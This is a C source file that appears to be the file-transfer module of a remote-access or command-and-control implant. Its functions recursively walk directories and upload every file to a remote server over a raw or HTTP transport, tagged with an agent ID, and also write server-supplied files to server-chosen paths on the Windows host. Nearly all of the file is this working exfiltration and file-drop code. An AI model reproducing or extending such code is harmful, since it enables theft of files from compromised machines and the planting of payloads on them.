398 lines
15 KiB
C
398 lines
15 KiB
C
#include <dirent.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/stat.h>
|
|
|
|
#include "config.h"
|
|
|
|
#define BUFFER_SIZE 4096
|
|
|
|
|
|
void processFile(Transport* transport, char* file_path, char* buffer) {
|
|
FILE* file = fopen(file_path, "rb");
|
|
if (!file) {
|
|
LOG_ERROR("Error opening file");
|
|
return;
|
|
}
|
|
|
|
size_t bytes_read;
|
|
while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, file)) > 0) {
|
|
if (transport->send(transport->handle, buffer, bytes_read) <= 0) {
|
|
LOG_ERROR("Error sending file data\n");
|
|
fclose(file);
|
|
return;
|
|
}
|
|
}
|
|
fclose(file);
|
|
LOG("File transfer complete: %s\n", file_path);
|
|
}
|
|
|
|
void sendFilesHelper(Transport* transport, char** paths, size_t num_paths, char* buffer) {
|
|
for (size_t i = 0; i < num_paths; ++i) {
|
|
char* file_path = paths[i];
|
|
struct stat file_stat;
|
|
if (stat(file_path, &file_stat) != 0) {
|
|
LOG("Path does not exist: %s\n", file_path);
|
|
continue;
|
|
}
|
|
if (S_ISDIR(file_stat.st_mode)) {
|
|
LOG("Processing directory: %s\n", file_path);
|
|
DIR* dir = opendir(file_path);
|
|
if (!dir) {
|
|
LOG_ERROR("Error opening directory");
|
|
continue;
|
|
}
|
|
struct dirent* entry;
|
|
while ((entry = readdir(dir)) != NULL) {
|
|
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
|
|
continue;
|
|
}
|
|
char full_path[1024];
|
|
snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
|
|
char* sub_paths[] = { full_path };
|
|
sendFilesHelper(transport, sub_paths, 1, buffer);
|
|
}
|
|
closedir(dir);
|
|
}
|
|
else {
|
|
char response[32];
|
|
int n = transport->recv(transport->handle, response, sizeof(response) - 1);
|
|
if (n <= 0 || strncmp(response, "SEND_METADATA", n) != 0) {
|
|
LOG_ERROR("Error: Expected SEND_METADATA, got: %.*s\n", n, response);
|
|
return;
|
|
}
|
|
|
|
long file_size = file_stat.st_size;
|
|
char metadata[1024];
|
|
snprintf(metadata, sizeof(metadata), "%ld|%s", file_size, file_path);
|
|
LOG("Sending metadata: %s\n", metadata);
|
|
if (transport->send(transport->handle, metadata, strlen(metadata)) <= 0) {
|
|
LOG_ERROR("Error sending metadata\n");
|
|
continue;
|
|
}
|
|
|
|
n = transport->recv(transport->handle, response, sizeof(response) - 1);
|
|
if (n <= 0 || strncmp(response, "SEND_DATA", n) != 0) {
|
|
LOG_ERROR("Error: Expected SEND_DATA, got: %.*s\n", n, response);
|
|
return;
|
|
}
|
|
|
|
processFile(transport, file_path, buffer);
|
|
|
|
// n = transport->recv(transport->handle, response, sizeof(response) - 1);
|
|
// if (n <= 0) {
|
|
// LOG_ERROR("Error receiving next instruction\n");
|
|
// return;
|
|
// }
|
|
// if (strncmp(response, "END", n) == 0) {
|
|
// LOG("Server requested end of transfer\n");
|
|
// return;
|
|
// } else if (strncmp(response, "NEXT", n) != 0) {
|
|
// LOG_ERROR("Error: Expected NEXT or END, got: %.*s\n", n, response);
|
|
// return;
|
|
// }
|
|
}
|
|
}
|
|
}
|
|
|
|
void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
|
|
char buffer[BUFFER_SIZE];
|
|
char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
|
|
size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;
|
|
|
|
char init_message[64];
|
|
snprintf(init_message, sizeof(init_message), "%s~FILE", agent_id);
|
|
if (transport->send(transport->handle, init_message, strlen(init_message)) <= 0) {
|
|
LOG_ERROR("Error sending %s\n", init_message);
|
|
return;
|
|
}
|
|
LOG("Sent initiation: %s\n", init_message);
|
|
|
|
sendFilesHelper(transport, paths, count, buffer);
|
|
|
|
if (transport->send(transport->handle, "ENDTRANSFER", strlen("ENDTRANSFER")) <= 0) {
|
|
LOG_ERROR("Error sending end-of-transfer marker\n");
|
|
}
|
|
LOG("End-of-transfer marker sent\n");
|
|
}
|
|
|
|
void sendFileHTTP(Transport* transport, char* file_path) {
|
|
struct stat file_stat;
|
|
if (stat(file_path, &file_stat) != 0) {
|
|
LOG("File does not exist: %s\n", file_path);
|
|
return;
|
|
}
|
|
|
|
if (!S_ISREG(file_stat.st_mode)) {
|
|
LOG("Path is not a regular file: %s\n", file_path);
|
|
return;
|
|
}
|
|
|
|
// Create message with agent_id, FILE type, and full file path
|
|
char message[1024];
|
|
snprintf(message, sizeof(message), "%s~FILE~%s", agent_id, file_path);
|
|
|
|
LOG("Sending message %s\n", message);
|
|
LOG("Sending file: %s\n", file_path);
|
|
|
|
// Use the transport's send_file function
|
|
int result = transport->send_file(transport->handle, file_path, message);
|
|
if (result > 0) {
|
|
LOG("File sent successfully: %s (%d bytes)\n", file_path, result);
|
|
} else {
|
|
LOG_ERROR("Failed to send file: %s\n", file_path);
|
|
}
|
|
}
|
|
|
|
void sendFilesHTTPHelper(Transport* transport, char** paths, size_t num_paths) {
|
|
for (size_t i = 0; i < num_paths; ++i) {
|
|
char* file_path = paths[i];
|
|
struct stat file_stat;
|
|
|
|
if (stat(file_path, &file_stat) != 0) {
|
|
LOG("Path does not exist: %s\n", file_path);
|
|
continue;
|
|
}
|
|
|
|
if (S_ISDIR(file_stat.st_mode)) {
|
|
LOG("Processing directory: %s\n", file_path);
|
|
DIR* dir = opendir(file_path);
|
|
if (!dir) {
|
|
LOG_ERROR("Error opening directory: %s\n", file_path);
|
|
continue;
|
|
}
|
|
|
|
struct dirent* entry;
|
|
while ((entry = readdir(dir)) != NULL) {
|
|
// Skip current and parent directory entries
|
|
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
|
|
continue;
|
|
}
|
|
|
|
// Build full path
|
|
char full_path[1024];
|
|
snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
|
|
|
|
// Recursively process the entry (file or subdirectory)
|
|
char* sub_paths[] = { full_path };
|
|
sendFilesHTTPHelper(transport, sub_paths, 1);
|
|
}
|
|
closedir(dir);
|
|
}
|
|
else if (S_ISREG(file_stat.st_mode)) {
|
|
// It's a regular file, send it
|
|
sendFileHTTP(transport, file_path);
|
|
}
|
|
else {
|
|
LOG("Skipping non-regular file: %s\n", file_path);
|
|
}
|
|
}
|
|
}
|
|
|
|
void SendFilesHTTP(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
|
|
// Determine which paths to use
|
|
char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
|
|
size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;
|
|
|
|
LOG("Starting HTTP file transfer session with %zu paths\n", count);
|
|
|
|
// Send all files/directories
|
|
sendFilesHTTPHelper(transport, paths, count);
|
|
|
|
LOG("HTTP file transfer session completed\n");
|
|
}
|
|
|
|
// Receive file from server using Windows API
|
|
void ReceiveFile(char* result, Transport* transport) {
|
|
char buffer[BUFFER_SIZE];
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
DWORD dwBytesWritten = 0;
|
|
DWORD dwError = 0;
|
|
|
|
// Send request for metadata
|
|
if (transport->send(transport->handle, "SEND_METADATA", strlen("SEND_METADATA")) <= 0) {
|
|
int wsaError = WSAGetLastError();
|
|
LOG_ERROR("Error sending SEND_METADATA (WSA Error: %d)\n", wsaError);
|
|
sprintf(result, "Error: Failed to send metadata request (WSA Error: %d)", wsaError);
|
|
return;
|
|
}
|
|
|
|
// Receive metadata (format: "file_size|filename")
|
|
char metadata[1024];
|
|
int n = transport->recv(transport->handle, metadata, sizeof(metadata) - 1);
|
|
if (n <= 0) {
|
|
int wsaError = WSAGetLastError();
|
|
LOG_ERROR("Error receiving metadata (WSA Error: %d)\n", wsaError);
|
|
sprintf(result, "Error: Failed to receive metadata (WSA Error: %d)", wsaError);
|
|
return;
|
|
}
|
|
metadata[n] = '\0';
|
|
LOG("Received metadata: %s\n", metadata);
|
|
|
|
// Parse metadata manually to handle spaces in filenames
|
|
long file_size;
|
|
char filename[512];
|
|
|
|
// Find the pipe separator
|
|
char* pipe_pos = strchr(metadata, '|');
|
|
if (!pipe_pos) {
|
|
LOG("Invalid metadata format: no pipe separator found\n");
|
|
sprintf(result, "Error: Invalid metadata format");
|
|
return;
|
|
}
|
|
|
|
// Parse file size (everything before the pipe)
|
|
*pipe_pos = '\0'; // Temporarily null-terminate the file size part
|
|
file_size = atol(metadata);
|
|
*pipe_pos = '|'; // Restore the pipe character
|
|
|
|
if (file_size <= 0) {
|
|
LOG("Invalid file size: %ld\n", file_size);
|
|
sprintf(result, "Error: Invalid file size (%ld bytes)", file_size);
|
|
return;
|
|
}
|
|
|
|
// Get filename (everything after the pipe)
|
|
char* filename_start = pipe_pos + 1;
|
|
|
|
// Remove surrounding quotes if present
|
|
if (*filename_start == '\'' || *filename_start == '"') {
|
|
filename_start++; // Skip opening quote
|
|
size_t len = strlen(filename_start);
|
|
if (len > 0 && (filename_start[len-1] == '\'' || filename_start[len-1] == '"')) {
|
|
filename_start[len-1] = '\0'; // Remove closing quote
|
|
}
|
|
}
|
|
|
|
// Copy the cleaned filename
|
|
strncpy(filename, filename_start, sizeof(filename) - 1);
|
|
filename[sizeof(filename) - 1] = '\0';
|
|
|
|
LOG("Parsed: file_size=%ld, filename='%s'\n", file_size, filename);
|
|
|
|
// Create/open file for writing using Windows API
|
|
hFile = CreateFileA(
|
|
filename, // Use parsed filename instead of remote_path
|
|
GENERIC_WRITE, // Access mode
|
|
0, // Share mode (exclusive access)
|
|
NULL, // Security attributes
|
|
CREATE_ALWAYS, // Creation disposition (overwrite existing)
|
|
FILE_ATTRIBUTE_NORMAL, // File attributes
|
|
NULL // Template file handle
|
|
);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
dwError = GetLastError();
|
|
LOG_ERROR("Error creating file '%s' (Error: %lu)\n", filename, dwError);
|
|
sprintf(result, "Error: Failed to create file '%s' (Error: %lu)", filename, dwError);
|
|
return;
|
|
}
|
|
|
|
// Send acknowledgment to start data transfer
|
|
if (transport->send(transport->handle, "SEND_DATA", strlen("SEND_DATA")) <= 0) {
|
|
int wsaError = WSAGetLastError();
|
|
LOG_ERROR("Error sending SEND_DATA (WSA Error: %d)\n", wsaError);
|
|
sprintf(result, "Error: Failed to send data request (WSA Error: %d)", wsaError);
|
|
CloseHandle(hFile);
|
|
// Attempt to delete the partially created file
|
|
DeleteFileA(filename);
|
|
return;
|
|
}
|
|
|
|
// Receive and write file data
|
|
long total_bytes_received = 0;
|
|
int bytes_received;
|
|
BOOL bWriteResult;
|
|
|
|
while (total_bytes_received < file_size) {
|
|
// Calculate remaining bytes to receive
|
|
long remaining_bytes = file_size - total_bytes_received;
|
|
int bytes_to_receive = (remaining_bytes < BUFFER_SIZE) ? (int)remaining_bytes : BUFFER_SIZE;
|
|
|
|
// Clear any previous errors before the recv call
|
|
WSASetLastError(0);
|
|
SetLastError(0);
|
|
|
|
bytes_received = transport->recv(transport->handle, buffer, bytes_to_receive);
|
|
|
|
if (bytes_received <= 0) {
|
|
int wsaError = WSAGetLastError();
|
|
DWORD winError = GetLastError();
|
|
|
|
// Log detailed error information
|
|
LOG_ERROR("recv() failed: returned %d, WSA error: %d, Win32 error: %lu\n",
|
|
bytes_received, wsaError, winError);
|
|
LOG_ERROR("Attempted to receive %d bytes after %ld total bytes\n",
|
|
bytes_to_receive, total_bytes_received);
|
|
|
|
// Determine which error to report
|
|
if (wsaError != 0 && wsaError >= 10000) {
|
|
// Standard Winsock error
|
|
sprintf(result, "Error: Network error after %ld bytes (WSA Error: %d)",
|
|
total_bytes_received, wsaError);
|
|
} else if (winError != 0) {
|
|
// Windows API error
|
|
sprintf(result, "Error: System error after %ld bytes (Win32 Error: %lu)",
|
|
total_bytes_received, winError);
|
|
} else {
|
|
// No specific error code, connection likely closed
|
|
sprintf(result, "Error: Connection closed by remote host after %ld bytes",
|
|
total_bytes_received);
|
|
}
|
|
|
|
CloseHandle(hFile);
|
|
DeleteFileA(filename);
|
|
return;
|
|
}
|
|
|
|
// Write data to file using Windows API
|
|
bWriteResult = WriteFile(
|
|
hFile, // File handle
|
|
buffer, // Data buffer
|
|
(DWORD)bytes_received, // Number of bytes to write
|
|
&dwBytesWritten, // Number of bytes written
|
|
NULL // Overlapped structure (not used)
|
|
);
|
|
|
|
if (!bWriteResult || dwBytesWritten != (DWORD)bytes_received) {
|
|
dwError = GetLastError();
|
|
LOG_ERROR("Error writing to file after %ld bytes (Error: %lu)\n", total_bytes_received, dwError);
|
|
sprintf(result, "Error: Failed to write data to file (Error: %lu)", dwError);
|
|
CloseHandle(hFile);
|
|
DeleteFileA(filename);
|
|
return;
|
|
}
|
|
|
|
total_bytes_received += bytes_received;
|
|
|
|
// Optional: Log progress for large files
|
|
if (file_size > 1024 * 1024 && total_bytes_received % (1024 * 1024) == 0) {
|
|
LOG("Progress: %ld / %ld bytes (%.1f%%)\n",
|
|
total_bytes_received, file_size,
|
|
(double)total_bytes_received / file_size * 100.0);
|
|
}
|
|
}
|
|
|
|
// Ensure all data is written to disk
|
|
if (!FlushFileBuffers(hFile)) {
|
|
dwError = GetLastError();
|
|
LOG_ERROR("Warning: Failed to flush file buffers (Error: %lu)\n", dwError);
|
|
// Continue anyway as data might still be valid
|
|
}
|
|
|
|
CloseHandle(hFile);
|
|
|
|
// Verify file size matches expected
|
|
if (total_bytes_received != file_size) {
|
|
LOG_ERROR("File size mismatch: received %ld bytes, expected %ld bytes\n",
|
|
total_bytes_received, file_size);
|
|
sprintf(result, "Error: File size mismatch (received %ld, expected %ld bytes)",
|
|
total_bytes_received, file_size);
|
|
DeleteFileA(filename);
|
|
return;
|
|
}
|
|
|
|
LOG("File uploaded successfully to: %s (%ld bytes)\n", filename, total_bytes_received);
|
|
sprintf(result, "File uploaded successfully to: %s (%ld bytes)", filename, total_bytes_received);
|
|
} |